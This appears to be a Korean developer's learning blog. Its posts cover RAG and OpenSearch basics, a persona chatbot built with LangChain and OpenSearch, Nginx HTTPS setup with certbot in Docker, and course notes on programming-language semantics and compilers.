bong-u/til

bong-u/til

🏠 home 🐈 repository 📡 rss

RAG 이론 정리 + OpenSearch

🤖 인공지능

RAG (Retrieval-Augmented Generation) RAG는 검색과 생성을 결합한 모델로, 검색을 통해 얻은 정보를 바탕으로 생성을 수행하는 모델 LLM의 문제점 할루시네이션: 생성 모델이 훈련 데이터에 없는 내용을 생성하는 현상 최신의 응답을 기대하는 상황에서 오래되었거나 일반적인 정보를 생성하는 문제 신뢰할 수 없는 출처로부터 정보를 생성하는 문제 RAG는 위에서 서술한 LLM 문제의 일부를 해결하기 위해 사용할 수 있는 수단이다. OpenSearch OpenSearch는 오픈소스 검색 및 분석 엔진으로, 엘라스틱서치의 포크 버전 벡터 데이터베이스 : 벡터 데이터를 저장하고 쿼리할 수 있는 데이터베이스 주요 기능 분산 검색 및 분석 보안 시각화와 대시보드 지원 index와 document index : 데이터베이스 document : 데이터베이스에 저장되는 데이터 분석 분석기 Analyzer (Character Filter + Tokenizer + Token Filter) 텍스트를 토큰화하고 필터링하는 과정을 수행 분석 과정 Character Filter 특정 문자를 제거하거나 변경하는 등의 작업을 수행 Tokenizer 기본적으로 공백을 기준으로 텍스트를 분리 Token Filter 토큰을 추가하거나 제거하는 등의 작업을 수행 OpenSearch에서 지원하는 요소 Tokenizer Standard Tokenizer : 공백을 기준으로 텍스트를 분리, 문장 부호 삭제 Letter Tokenizer : 문자를 기준으로 텍스트를 분리 Whitespace Tokenizer : 공백을 기준으로 텍스트를 분리 Ngram Tokenizer : 부분 문자열로 텍스트를 분리 Token Filter Standard Token Filter : 아무것도 하지 않음 Lowercase Token Filter : 텍스트를 소문자로 변환 Synonym Token Filter : 동의어 처리 Analyzer Standard Analyzer : Standard Tokenizer + Standard Token Filter Simple Analyzer : Letter Tokenizer + Lowercase Token Filter Whitespace Analyzer : Whitespace Tokenizer + Lowercase Token Filter OpenSearch 접근을 위한 cURL 명령어 인덱스 조회 1curl -X GET -u {username}:{password} \ 2"http://localhost:9200/_cat/indices" 특정 인덱스 조회 1curl -X GET -u {username}:{password} \ 2"http://localhost:9200/{index_name}" 전체 검색 결과 조회 1curl -X GET -u {username}:{password} \ 2"http://localhost:9200/{index_name}/_search" 특정 검색어로 검색한 결과 조회 1curl -X GET -u {username}:{password} \ 2"http://localhost:9200/{index_name}/_search" \ 3-H "Content-Type: application/json" \ 4-d '{"query": {"match": {"field": "value"}}}' 인덱스 삭제 1curl -X DELETE -u {username}:{password} \ 2"http://localhost:9200/{index_name}"

OpenSearch를 활용한 RAG 실습

🤖 인공지능

배경 테커 부트캠프에서 팀프로젝트를 진행 중이다. 우리 팀의 주제는 특정 인물에게 상담을 받는 것 같은 대화를 할 수 있는 챗봇을 만드는 것이다. 이를 위해 특정 인물이 했던 말을 모아 데이터셋으로 만들고 이를 RAG 모델에 적용시키려고 한다. 순서 일론 머스크가 TED에서 한 인터뷰를 텍스트로 가져온다. OpenSearch 도커 컨테이너를 실행한다. 텍스트 데이터를 임베딩해서 OpenSearch에 저장한다. RAG 모델이 OpenSearch를 쿼리하여 대답을 생성한다. 1. 일론 머스크 인터뷰 텍스트 가져오기 유튜브에서 “스크립트 보기"를 통해 인터뷰 자막을 가져온다. 122:03 2EM: 이 큰 트럭을 몰면서 말도 안되는 움직임을 보였죠. 3CA: 아주 멋지네요. 자, 그럼 정말 굉장한 사진에서 422:09 5조금은 덜 굉장한 사진을 보죠. "위기의 주부들"인가에서 나오는 귀여운 집 사진인데요. 622:15 7이게 갑자기 왜 나온거죠? 8... 일론 머스크가 한 말만 손수 정리한다. 1네. 제 스스로도 그 질문을 자주 하는 편입니다. 2저희는 LA의 지하에 구멍을 내려고 하는데요. 이는 교통 체증을 완화시키기 위한 33차원 네트워크의 터널이 될 수도 있는 시발점을 만들기 위함입니다. 4교통 체증은 오늘날 우리의 영혼을 탈탈 터는 문제 중의 하나입니다. 5세계 모든 사람들에게 영향을 끼치고 있죠. 인생에서 너무도 많은 부분을 가져갑니다. 6... 2. OpenSearch 도커 컨테이너 실행 1docker create -it -p 9200:9200 -p 9600:9600 -e OPENSEARCH_INITIAL_ADMIN_PASSWORD={password} -e "discovery.type=single-node" -v opensearch_vol:/usr/share/opensearch/data --name opensearch opensearchproject/opensearch 설명 -p 9200:9200 : OpenSearch HTTP 포트 -p 9600:9600 : OpenSearch 모니터링 포트 -e OPENSEARCH_INITIAL_ADMIN_PASSWORD={password} : 초기 비밀번호 설정 -e “discovery.type=single-node” : 단일 노드로 실행 -v opensearch_vol:/usr/share/opensearch/data : 데이터 볼륨 마운트 SSL 오류 발생과 해결 하지만 위 명령어로 실행하면 컨테이너 내부에서 오류가 발생한다 12024-07-05 22:15:12 Caused by: io.netty.handler.ssl.NotSslRecordException: not an SSL/TLS record: ... 22024-07-05 22:15:12 at io.netty.handler.ssl.SslHandler.decodeJdkCompatible(SslHandler.java:1314) ~[netty-handler-4.1.110.Final.jar:4.1.110.Final] 32024-07-05 22:15:12 at io.netty.handler.ssl.SslHandler.decode(SslHandler.java:1387) ~[netty-handler-4.1.110.Final.jar:4.1.110.Final] 42024-07-05 22:15:12 at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) ~[netty-codec-4.1.110.Final.jar:4.1.110.Final] 52024-07-05 22:15:12 at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) ~[netty-codec-4.1.110.Final.jar:4.1.110.Final] 62024-07-05 22:15:12 ... 16 more 프로젝트 기간이 길지 않고, 해당 포트는 외부에 노출할 필요가 없으므로 SSL을 끄고 실행하는 것으로 해결하였다. 1/usr/share/opensearch/config/opensearch.yml 2# 변경 전 3plugins.security.ssl.http.enabled: true 4# 변경 후 5plugins.security.ssl.http.enabled: false 3. 텍스트 데이터 임베딩 및 OpenSearch에 저장 RAG 세션을 해주신 멘토님이 짜준 코드를 적극! 참고하여 작성하였다. OpenSearch 인덱스 생성 1from opensearchpy import OpenSearch 2import torch 3from transformers import AutoTokenizer, AutoModel 4from langchain.text_splitter import RecursiveCharacterTextSplitter 5from langchain_community.document_loaders import TextLoader 6from langchain_community.vectorstores import OpenSearchVectorSearch 7 8INDEX_NAME = "elon_musk" 9FILE_NAME = "ted_elon_musk_script.txt" 10 11## OpenSearch 연결 설정 12client = OpenSearch( 13 hosts=[{"host": "localhost", "port": 9200}], http_auth=("admin", {password}) 14) 15 16## 텍스트 데이터 불러오기 17loader = TextLoader(file_path=FILE_NAME, encoding="utf-8") 18docs = loader.load() 19 20text_splitter = RecursiveCharacterTextSplitter( 21 chunk_size=100, 22 chunk_overlap=0, 23 separators=["\n"], 24 length_function=len, 25) 26 27documents = text_splitter.split_documents(docs) 28 29# print(documents) 30 31## Embedding 모델 정의 32class MyEmbeddingModel: 33 def __init__(self, model_name): 34 self.tokenizer = AutoTokenizer.from_pretrained(model_name) 35 self.model = AutoModel.from_pretrained(model_name) 36 37 def embed_documents(self, doc): 38 inputs = self.tokenizer( 39 doc, return_tensors="pt", padding=True, truncation=True, max_length=512 40 ) 41 42 with torch.no_grad(): 43 outputs = self.model(**inputs) 44 embeddings = outputs.last_hidden_state.mean(dim=1).tolist() 45 46 return embeddings 47 48 def embed_query(self, text): 49 inputs = self.tokenizer( 50 [text], padding=True, truncation=True, return_tensors="pt", max_length=512 51 ) 52 with torch.no_grad(): 53 outputs = self.model(**inputs) 54 embeddings = outputs.last_hidden_state.mean(dim=1).tolist() 55 return embeddings 56 57 58## index 구조 정의 59index_body = { 60 "settings": { 61 "analysis": { 62 "tokenizer": { 63 "nori_user_dict": { 64 "type": "nori_tokenizer", 65 "decompound_mode": "mixed", 66 "user_dictionary": "user_dic.txt", 67 } 68 }, 69 "analyzer": { 70 "korean_anlyzer": { 71 "filter": [ 72 "synonym", "lowercase", 73 ], 74 "tokenizer": "nori_user_dict", 75 } 76 }, 77 "filter": { 78 "synonym" :{ 79 "type": "synonym_graph", 80 "synonyms_path" : "synonyms.txt" 81 } 82 } 83 } 84 } 85} 86 87## Embedding 모델 생성 88my_embedding = MyEmbeddingModel("monologg/kobert") 89 90## OpenSearch에 데이터 삽입 91vector_db = OpenSearchVectorSearch.from_documents( 92 index_name=INDEX_NAME, 93 body=index_body, 94 documents=documents, 95 embedding=my_embedding, 96 op_type="create", 97 opensearch_url="http://localhost:9200", 98 http_auth=("admin", {password}), 99 use_ssl=False, 100 verify_certs=False, 101 ssl_assert_hostname=False, 102 ssl_show_warn=False, 103 bulk_size=1000000, 104 timeout=360000, 105) 106 107result = vector_db.add_documents(documents, bulk_size=1000000) tokenizer는 한국어를 지원하는 “nori_tokenizer"를 사용하였다. embedding 모델은 저거 말고도 여러가지가 존재하는데, 어떤 모델이 프로젝트에 가장 부합하는 모델인지는 실험을 해볼 것이다. curl을 통해 localhost:9200/elon_musk/_search로 요청을 보내 임베딩한 데이터가 잘 들어갔는지 확인할 수 있다. 4. RAG 모델이 OpenSearch를 쿼리하여 대답 생성 1from langchain.prompts import PromptTemplate 2from langchain.chains import LLMChain 3from langchain_openai import ChatOpenAI 4from opensearchpy import OpenSearch 5import os 6 7INDEX_NAME = "elon_musk" 8 9# 환경변수 설정 10os.environ["OPENAI_API_KEY"] = {api_key} 11 12llm = ChatOpenAI( 13 model_name="gpt-3.5-turbo", 14) 15 16prompt_template = PromptTemplate( 17 input_variables=["context", "question"], 18 template=""" 19Imagine you are {character_name}, 20a wise and experienced advisor. Given the context: "{context}", 21how would you respond to this inquiry: "{question}"?', 22(in korean) 23""", 24) 25 26 27llm_chain = LLMChain(llm=llm, prompt=prompt_template) 28 29client = OpenSearch( 30 hosts=["http://localhost:9200"], 31 http_auth=("admin", {password}), 32 use_ssl=False, 33 verify_certs=False, 34 ssl_assert_hostname=False, 35 ssl_show_warn=False, 36) 37 38def search_documents(query): 39 search_body = {"query": {"match": {"text": query}}} 40 response = client.search(index=INDEX_NAME, body=search_body) 41 hits = response["`its"]["hits"] 42 return [hit["_source"]["text"] for hit in hits] 43 44if __name__ == "__main__": 45 question = input("Enter your question\n") 46 search_results = search_documents(question) 47 48 print(search_results) 49 50 # context = " ".join(search_results) 51 context = "" 52 53 response = llm_chain.invoke({"character_name": INDEX_NAME, "context": context, "question": question}) 54 55 print (response["text"]) OpenSearch에 저장된 데이터를 쿼리하여 RAG 모델에 넣어 대답을 생성한다. search_documents 함수를 통해 OpenSearch에 쿼리를 보내고, 그 결과를 context로 사용한다. 결과 질문 테슬라에 대해서 어떻게 생각해? RAG를 사용하지 않았을 때의 대답 테슬라는 혁신적인 기업으로서 미래를 향한 비전을 가지고 있습니다. 그들의 전기 자동차 기술과 에너지 솔루션은 전 세계적으로 주목받고 있습니다. 테슬라의 혁신적인 접근 방식과 지속 가능한 비즈니스 모델에 대해 매우 긍정적으로 생각하고 있습니다. RAG를 사용할때 적용된 context [‘길게 갈 것 같지는 않아요.\n그러네요. 저는 최대한 오랫동안 테슬라에 머물 생각이에요.\n그리고 준비 중에 있는 흥미로운 일도 많고요. 아시다시피, 모델 3이 출시 예정이고요.’, ‘올해 말까지 LA에서 뉴욕까지\n완전 자율 주행으로 횡단하는 계획에 맞춰서 진행 중이에요.\n사람이 테슬라에 타서 운전대를 잡지 않고 “뉴욕"을 찍으면 그리로 간다는 말이네요.’, ‘길게 갈 것 같지는 않아요.\n그러네요. 저는 최대한 오랫동안 테슬라에 머물 생각이에요.\n그리고 준비 중에 있는 흥미로운 일도 많고요. 아시다시피, 모델 3이 출시 예정이고요.’, ‘올해 말까지 LA에서 뉴욕까지\n완전 자율 주행으로 횡단하는 계획에 맞춰서 진행 중이에요.\n사람이 테슬라에 타서 운전대를 잡지 않고 “뉴욕"을 찍으면 그리로 간다는 말이네요.’] RAG를 사용할 때의 대답 저는 테슬라를 매우 긍정적으로 생각합니다. 테슬라는 혁신적인 기술과 지속 가능한 미래를 위한 비전을 갖춘 기업으로서, 자율 주행 기술을 통해 우리의 삶을 혁신하고 있습니다. 또한, 전기차 시장을 선도하고 환경에 친화적인 차량을 제공하는 멋진 기업이라고 생각합니다. 테슬라의 미래가 밝고 흥미로운 일들이 계속해서 일어날 것이라고 믿습니다. 고찰 확실히 RAG를 사용하지 않았을 때는 객관적이고 일반적인 대답을 하는 반면, RAG를 사용할 때는 테슬라에 대해 긍정적인 일론 머스크의 대답과, 자율주행 기술을 언급했다는 것을 반영하여 대답을 생성하였다.

Nginx에서 HTTPS 설정하기

🔨 개발 도구

배경 테커 부트캠프를 진행중이다. 모든 프로그램은 docker-compose로 구성되어 있다. AWS EC2에 구동 중인 서버에 HTTPS를 적용하려고 한다. 도메인 구매 없이 시도를 했으나, AWS에서 제공하는 도메인으로 SSL 인증서를 발급받을 수 없었다. 따라서, 도메인을 구매하고, Route 53을 통해 도메인을 연결했다. 목표 Nginx를 이용하여 HTTPS를 적용한다. 방법 1. docker-compose.yml에 certbot 컨테이너를 추가한다. 1certbot: 2 image: certbot/certbot 3 container_name: certbot 4 volumes: 5 - ./certbot/conf:/etc/letsencrypt 6 - ./certbot/www:/var/www/certbot 7 depends_on: 8 - nginx 9 10 # certbot을 무한루프로 돌리기 위해 사용 11 entrypoint: "/bin/sh -c 'trap exit TERM; while :; do sleep 6h & wait $${!}; done;'" 2. nginx.conf를 수정한다. # certbot을 사용하기 위한 설정 location /.well-known/acme-challenge/ { allow all; root /var/www/certbot; } 3. certbot 컨테이너를 활용해서 SSL 인증서를 발급받는다. 1docker exec -it certbot certbot certonly \ 2 # 웹 루트 방식으로 인증서를 생성 3 --webroot \ 4 # 웹 서버의 웹 루트 디렉터리 경로를 지정 5 --webroot-path=/var/www/certbot \ 6 # 인증서 갱신 및 중요한 알림을 받을 이메일 주소를 지정 7 --email {이메일 주소} \ 8 # Let's Encrypt 서비스 약관에 동의 9 --agree-tos \ 10 # EFF(Electronic Frontier Foundation) 뉴스레터를 받지 않도록 설정 11 --no-eff-email \ 12 # SSL 인증서를 생성할 도메인 이름을 지정 13 -d {도메인 이름} 4. Nginx 웹 서버와 함께 사용할 SSL 설정 파일을 다운로드 다운 받은 후 파일을 알맞은 위치로 이동시킨다. 해당 프로젝트에서는 /etc/letsencrypt/로 이동시켰다. 1sudo curl -s https://raw.githubusercontent.com/certbot/certbot/master/certbot-nginx/certbot_nginx/_internal/tls_configs/options-ssl-nginx.conf > "./options-ssl-nginx.conf" 2 3sudo curl -s https://raw.githubusercontent.com/certbot/certbot/master/certbot/certbot/ssl-dhparams.pem > "./ssl-dhparams.pem" 5. nginx.conf를 수정한다. 필요한 부분만 추가하였다. server { listen 80; charset utf-8; server_name {도메인 이름}; # HTTP 요청을 HTTPS로 리다이렉트 location / { return 301 https://$host$request_uri; } } server { listen 443 ssl; charset utf-8; server_name { 도메인 이름 }; # SSL 인증서 설정 ssl_certificate /etc/letsencrypt/live/api.forest-of-thoughts.site/fullchain.pem; # SSL 인증서 키 설정 ssl_certificate_key /etc/letsencrypt/live/api.forest-of-thoughts.site/privkey.pem; # SSL 설정 파일 포함 include /etc/letsencrypt/options-ssl-nginx.conf; # Diffie-Hellman 키 설정 ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; } 6. nginx 컨테이너 설정을 수정한다. 1nginx: 2 image: nginx:stable 3 ports: 4 - "80:80" 5 - "443:443" 6 volumes: 7 - ./nginx.conf:/etc/nginx/nginx.conf 8 - ./certbot/conf:/etc/letsencrypt 9 - ./certbot/www:/var/www/certbot 해 회고 보통 crontab을 활용해서 자동으로 인증서 갱신을 받는다. 이번에는 프로젝트 기간이 길지 않아서, 수동으로 진행했다. 다음에는 자동으로 인증서 갱신을 받는 것도 도전해보자.

프로그래밍언어개론

🏫 학과 공부

Ocaml Functional Programming 함수형 프로그래밍은 함수를 값처럼 다루는 프로그래밍 패러다임 특징 Immutable 변수의 값이 변하지 않는다 First-class function Higher-order function Referential transparency 동일한 인자에 대해 항상 동일한 결과를 반환한다 Lazy evaluation (지연 계산) 필요할 때만 계산을 수행 Primitive Types unit int float int_of_float : float->int float_of_int : int->float bool : true/false x = y : x equals y (structural equality) x <> y : x not equals y (structural equality) x == y : x equals y (physical equality) x != y : x not equals y (physical equality) char string ^ : string concatenation .[n] : n-th character .length : length of string .sub n m : substring from n to m Statement와 Expression Statement 프로그램의 상태전이(메모리 상태를 변경하는 행위)를 수행하는 언어의 구성 요소 Expression 실행 시 값으로 계산외는 언어의 구성요소 Statement는 값을 반환하지 않는다 Expression은 값을 반환한다 순수 함수형 언어는 Expression만을 가지고 있다 Tuple 1let x = (1, 2, 3) Function first-class object (1급 객체) 할당의 대상이 될 수 있다 함수의 인자로 사용할 수 있다 함수의 반화값으로 사용할 수 있다 비교연산을 적용할 수 있다 Higher Order Function (고차함수) 함수를 인자로 받거나 함수를 반환하는 함수 재귀함수인 경우 rec 키워드를 사용해야 한다 Conditional branch 1if [expression1] then [expression2] else [expression3] Pattern Matching binding occurrence Ocaml 컴파일러는 expression의 타입을 기반으로 패턴매칭의 완전성을 검사 Lists :: : 리스트 앞에 원소를 삽입 @ : 리스트를 연결 Type definition Disjoint union : 구분되는 식별자를 사용하여 여러 타입을 묶은 타입 Varient records라고도 부름 type [type_name] = [constructor] (of [type])? (| [name] (of [type])?)* 1type number = 2 | Int of int 3 | Float of float Tail Call Optimization 재귀함수의 호출이 함수의 마지막 행위일 때, 스택을 사용하지 않고 반복문으로 최적화 Syntax and Semantics Compilation 프로그래밍 언어로 작성된 프로그램을 다른 언어로 번역하는 행위 적합한 프로젝트 큰 규모의 소프트웨어 프로젝트 : 검증을 통해 오류를 사전에 탐지 고성능 소프트웨어 : 최적화를 통한 성능 향상 저수준 소프트웨어 : 기계어로 변환 단점 학습 곡선이 높다 Compilation 과정이 비싸고 복잡 Interpretation 프로그래밍 언어로 작성된 프로그램을 해석하여 실행하는 행위 적합한 프로젝트 높은 언어의 자유도를 활용한 소프트웨어 prototyping : 검증 절차의 부재로 인한 다양한 동적 특성 존재 쉽고 직관적인 구조로 프로그래밍 교육 : 구문 구조가 단순 실행환경에 영향을 받지 않는 cross-platform 소프트웨어 : platform 별로 구현된 interpreter를 통해 실행 단점 성능 이슈가 존재 검증 절차의 부재로 인한 결함 탐지 및 수정의 어려움 Syntax (구문 구조) 프로그래밍 언어의 “형태” 구문 구조의 종류 Concrete syntax : 프로그래밍 언어의 구문을 텍스트로 표현 Abstract syntax : Concrete syntax를 트리 구조로 표현 Semantics (의미) 프로그래밍 언어 구문의 “실행동작” Unspecified Behaviors 특정조건에서 구문의 정의하지 않은 동작 Undefined Behaviors 특정조건에서 구문의 정의되지 않은 동작 Programming Language Syntax and Parsing 언어 : L(G) The Chomsky Hierarchy Regular Language : Finite-State Automation Context-Free Language : Pushdown Automation Context-Sensitive Language : Linear-Bounded Automation Recursively Enumerable Language : Turing Machine AST (Abstract Syntax Tree) 프로그램의 추상구조를 나타내는 트리형태의 자료구조 CFG (Context-Free Grammar) 문맥을 고려하지 않고 항상 동일한 문자열을 표현하는 문법 G = ($\sum$, N, P, S) $\sum$ : terminal의 유한집합 N : non-terminal 유한집합 P : production의 집합 S : 시작 nonterminal BNF (Backus-Naur Form) CFG의 표현 방법 예시 1S ::= aAc 2A ::= aA 3| b 4| 𝜖 Derivation 문법의 규칙을 적용하여 문자열을 생성하는 과정 Leftmost derivation Rightmost derivatio Parse Derivation의 역과정 Source code –lexing–> Token –parsing–> AST leftmost derivation rightmost derivation ambiguous grammer leftmost derivation과 rightmost derivation이 다른 결과를 반환하는 문법 AE (Arithmetic Expression) Language Syntax 정의 Concrete syntax (syntax 형태) Abstract syntax (tree 형태) Semantics 정의 e⇓n : e는 n으로 계산됨 Inference rule (추론 규칙) 전제로부터 결론을 이끌어내는 규칙 $$\frac{H_1 H_2 H_3 … H_n}{P}$$ $H_1, H_2, H_3, …, H_n$ : 전제 P : 결론 전제가 모두 참이면 결론도 참 Bigstep operational semantics Big-step : 프로그램의 계산이 하나의 큰 단계에 의해 수행 Small-step : 프로그램의 계산이 한 스텝 계산들의 연속에 의해 수행 Operational : 프로그램의 계산을 가상 기계의 동작(계산)에 기반하여 기술 Proof tree Inference rule을 이용하여 결론을 증명하는 과정을 나타내는 tree형태의 자료구조 Syntactic Sugar and Identifier Syntactic Sugar 사용자 편의를 위해 제공되는 구문 주로 concrete syntax의 확장을 통해 제공 Desugaring ~(e) => 0 - e Sugaring 0 - e => ~(e) Identifier 프로그램의 어떤 요소와 연관된 이름 Identifier 등장 binding occurence : 정의를 위해 등장 bound ocurrence : 사용을 위해 등장 free identifier : 위 두가지에 해당하지 않는 등장 (정의되지 않은 변수 접근) Identifier Scope Identifier는 scope(범위)내에서 binding-bound 관계가 성립 Scope : binding ocurrence identifier가 bound 될 수 있는 범위 Scope를 벗어난 접근 : free identifier Shadowing : 동일한 이름의 identifier가 중첩된 scope에서 binding되는 경우, 바깥쪽 scope의 identifier를 가리키는 것 Abstract Memory $\sigma$(x) : 추상메모리 $\sigma$에서 x의 값을 반환 $\sigma$[x↦n](x’) : 추상메모리 $\sigma$에서 x를 n으로 업데이트한 후 새로운 추상메모리를 반환 ↦ (mapsto) : 왼쪽 값을 오른쪽 값을 매핑한다 First Order Function (F1VAE) F1VAE VAE에 first-order function을 추가한 언어 First-order function 변수와 다르게 특별 취급하는 함수 Higher-order function 함수를 인자로 받거나 함수를 반환하는 함수 Concrete syntax 1// single function 2prog ::= decl expr 3// multiple functions 4prog ::= decl_list expr 5decl_list ::= decl decl_list | decl 6// single parameter 7decl ::= def var var = expr endef 8// multiple parameters 9decl ::= def var var_list = expr endef | def var = expr endef 10var_list ::= var var_list | var 11expr_list ::= expr, expr_list | expr 12 13// 공통 14expr ::= let var = expr in expr 15 | var(expr) 16 | expr + expr 17 | expr - expr 18 | (expr) 19 | number 20 | ~ (expr) 21 | var Abstract syntax 추상메모리 사용을 위한 보조함수 Λ(x) : 함수 추상메모리 Λ에서 함수이름 x의 값을 찾아 반환 Λ[x1 ↦→ (x2, e)] : 함수 추상메모리 Λ에 함수이름 x1의 값을 (x2, e)로 업데이트한 새로운 함수 추상메모리를 반환 Multiple parameters $$ p ::= \overline{d}\ e \ d ::= def\ x\ \overline{x} = e \ e ::= n\ |\ x\ |\ e\ +\ e\ |\ e\ -\ e\ |\ let\ x\ =\ e\ in\ e\ |\ x(\overline{e}) \ n \in Z\ x \in Var $$ Semantics e[n/x] 함수 호출 시, 함수 몸체의 파라미터 변수를 전달된 이자로 치환한 후 계산 Lexical scope vs dynamic scope Lexical scope : identifier의 scope가 컴파일시점에 저의 Dynamic scope : identifier의 scope가 실행시점에 결정 First Class Function (FVAE) First-class function 함수를 값처럼 다루는 프로그래밍 언어의 특성 Concrete syntax 1expr ::= let var = expr in expr 2 | (fun var -> expr) // 추가된 것 : 함수 정의 3 | expr expr // 추가된 것 : 함수 호출 4 | expr + expr 5 | expr - expr 6 | (expr) 7 | number 8 | ~ (expr) 9 | var function applications 함수형 프로그래밍에서는 함수 호출 대신 함수 적용 Abstract syntax $\lambda x.e$ $$ e ::= n\ |\ x\ |\ e\ +\ e\ |\ e\ -\ e\ |\ let\ x\ =\ e\ in\ e\ |\ \lambda x.e\ |\ e\ e \ n \in Z\ x \in Var $$ $\lambda x.e$ : 함수 정의 (x는 파라미터, e는 함수 몸체) x는 binding occurence x의 scope는 e $e\ e$ : 함수 적용 e1 : 함수로 계산되는 expression e2 : 인자 Closure Closure = Var X Expr X Store FVAE에서는 함수도 “값"이므로 “값"의 확장이 요구된다 Multiple parameters Concrete syntax 1expr ::= let var = expr in expr 2 | let var var = expr in expr 3 | (fun var_list -> expr) // 추가된 것 : 함수 정의 4 | expr expr 5 | expr + expr 6 | expr - expr 7 | (expr) 8 | number 9 | ~ (expr) 10 | var 11var_list ::= var var_list | var // 추가된 것 : 파라미터 리스트 Conditional Branch (CFVAE) Concrete syntax 1expr ::= let var = expr in expr 2 | (fun var_list -> expr) 3 | if expr then expr else expr // 추가된 것 : 조건문 4 | expr expr 5 | expr + expr 6 | expr - expr 7 | expr < expr // 추가된 것 : 비교연산 8 | (expr) 9 | number 10 | bool 11 | ~ (expr) 12 | var if-then-else가 다른 expression에 비해 우선순위가 낮다고 가정 Abstract syntax $$ e ::= n\ |\ b\ |\ x\ |\ e\ +\ e\ |\ e\ -\ e\ |\ let\ x\ =\ e\ in\ e\ |\ \lambda x.e\ |\ e\ e\ |\ e?e\ : e\ |\ e\ <\ e \ n \in Z\ b \in {true, false } x \in Var $$ Boolean support as syntatics sugar true와 false를 정수로 표현 true와 false를 closure로 표현 Option 1. C style $$ e ::= n\ |\ x\ |\ e\ +\ e\ |\ e\ -\ e\ |\ let\ x\ =\ e\ in\ e\ |\ \lambda x.e\ |\ e\ e\ |\ e\ ?\ e\ :\ e\ |\ e\ <\ e\ n \in Z\ x \in Var $$ Option 2. Church boolean $$ e ::= n\ |\ x\ |\ e\ +\ e\ |\ e\ -\ e\ |\ let\ x\ =\ e\ in\ e\ |\ \lambda x.e\ |\ e\ e\ |\ e\ <\ e\ n \in Z\ b \in {true, false }\ x \in Var $$ Recursion (RCFVAE) Concrete syntax 1expr ::= let var = expr in expr 2 | let rec var = expr in expr // 추가된 것 : 재귀함수 3 | (fun var -> expr) 4 | if expr then expr else expr 5 | expr expr 6 | expr + expr 7 | expr - expr 8 | expr < expr 9 | (expr) 10 | number 11 | bool 12 | ~ (expr) 13 | var Abstract syntax $$ e ::= n\ |\ x\ |\ e\ +\ e\ |\ e\ -\ e\ |\ let\ x\ =\ e\ in\ e\ |\ let\ rec\ x\ =\ e\ in\ e |\ \lambda x.e\ |\ e\ e\ |\ e\ <\ e \ n \in Z\ x \in Var $$ minic 1 Imperative language (명령형 언어) 연속된 command(명령)을 통해 프로그램의 의미를 수행 Concrete syntax 1prog ::= stmts 2stmts ::= stmt | stmt stmts 3stmt ::= var = expr; 4 | if expr {stmts} 5 | if expr {stmts} else {stmts} 6expr ::= number 7 | var 8 | true 9 | false 10 | (expr) 11 | expr + expr 12 | expr - expr 13 | expr < expr 14 | expr > expr 15 | expr == expr 16 | expr && expr 17 | expr || expr Abstract syntax $$ p ::= \overline{s} \ s ::= x = e\ |\ e?\ \overline{s} : \overline{s} \ e ::= n\ |\ x\ |\ b\ |\ x\ |\ e\ +\ e\ |\ e\ -\ e\ |\ e\ <\ e\ |\ e\ >\ e\ |\ e\ ==\ e\ |\ e\ &&\ e\ |\ e\ ||\ e \ n \in Z\ b \in {true, false}\ x \in Var $$ Semantics p : MiniC program Prog -> Store s : MiniC statement Store X Stmt -> Store e : MiniC expression Store X Expr -> Value Short circuit evaluation 논리식 연산에 있어 결과가 정해진 경우 남은 expression 계산 minic 2 &x: reference *e: dereference Concrete syntax 1prog ::= stmts 2stmts ::= stmt | stmt stmts 3stmt ::= def var; 4 | var = expr; 5 | *expr = expr; 6 | if expr {stmts} 7 | if expr {stmts} else {stmts} 8 | while expr {stmts} 9expr ::= number 10 | var 11 | true 12 | false 13 | &var 14 | *expr 15 | (expr) 16 | expr + expr 17 | expr - expr 18 | expr < expr 19 | expr > expr 20 | expr == expr 21 | expr && expr 22 | expr || expr Abstract syntax $$ p ::= \overline{s} \ s ::= def\ x\ |\ x = e\ |\ *e = e\ |\ e?\ \overline{s} : \overline{s}\ |\ while\ e\ \overline{s} \ e ::= n\ |\ x\ |\ b\ |\ x\ |\ e\ +\ e\ |\ e\ -\ e\ |\ e\ <\ e\ |\ e\ >\ e\ |\ e\ ==\ e\ |\ e\ &&\ e\ |\ e\ ||\ e\ |\ &x\ |\ *e \ b \in {true, false}\ n \in Z\ x \in Var $$ Semantics

컴파일러개론

🏫 학과 공부

개요 컴퓨터와 인간이 소통하는 방법 어셈블리어 어셈블리어의 번역기는 어셈블러(Assembler)라고 한다 cpu칩셋이 바뀔때마다 어셈블리어가 바뀐다 고급언어 고급언어의 번역기는 컴파일러(Compiler)라고 한다 컴파일러의 정확한 정의 어떤 언어로 쓰여진 프로그램을 같은 역할의 다른 언어로 바꿔주는 프로그램 1952년 그레이스 호퍼(Grace Hopper)가 UNIVAC용 프로그래밍언어 A-0 컴파일러를 제작 컴파일러 vs 인터프리터 프로그램 처리과정 컴파일러의 처리 과정 Lexical analysis (어휘 분석) token을 생성하는일, token은 어휘의 최소 단위 Syntax analysis (구문 분석) token을 읽어서 오류를 검색, 구문 구조를 만든다 (주로 트리형태) Semantic analysis (의미 분석) type checking Intermediate code generation (중간 코드 생성) 중간 코드로 변환 Code optimization (코드 최적화) 중간 코드를 더 효율적으로 변환 Code generation (코드 생성) 목적 코드 생성 Lexical analysis (어휘 분석) token : 문법적으로 의미있는 최소 단위 FSA (Finite State Automata, 유한 상태 오토마타) token을 인식하는 방법 시작 상태 한 개와 끝 상태 여러 개를 가짐 DFA (Deterministic Finite Automata) FSA의 한 종류 각 상태에서 뻗어나가는 edge가 하나씩만 존재 ε가 붙은 edge 없음 분석한 토큰을 표현하는 방법 Lexeme = <토큰번호, 토큰 값> 예시 if X < Y … (29, 0) (1, X) (18, 0) (1, Y) … 식별자의 토큰번호는 1번, 상수는 2번 등으로 고정 Syntax analysis (구문 분석) token을 읽어서 오류를 검색, parse tree를 만든다 CFG (Context Free Grammer) 구문을 표현하는 방법 G = (N, T, P, S) N = nonterminal symbol 알파벳 대문자로 표현 T = terminal symbol (token) 알파벳 소문자+숫자, 연산자, 구분자, 키워드 등 P = production rule 예) S -> T+T, T -> ‘0’|‘1’|‘2’ S = start symbol L(G) : 이 문법으로 생성되는 언어 여러가지 CFG 표현법 BNF (Backus-Naur Form) EBNF (Extended BNF) 유도 (derivation) 생성 규칙를 적용하여 문장을 생성하는 과정 유도를 하는 과정에서 하나씩 골라서 바꿈 유도 트리 : 유도 경로를 추상화 시켜 표현한 것 좌측 유도(leftmost 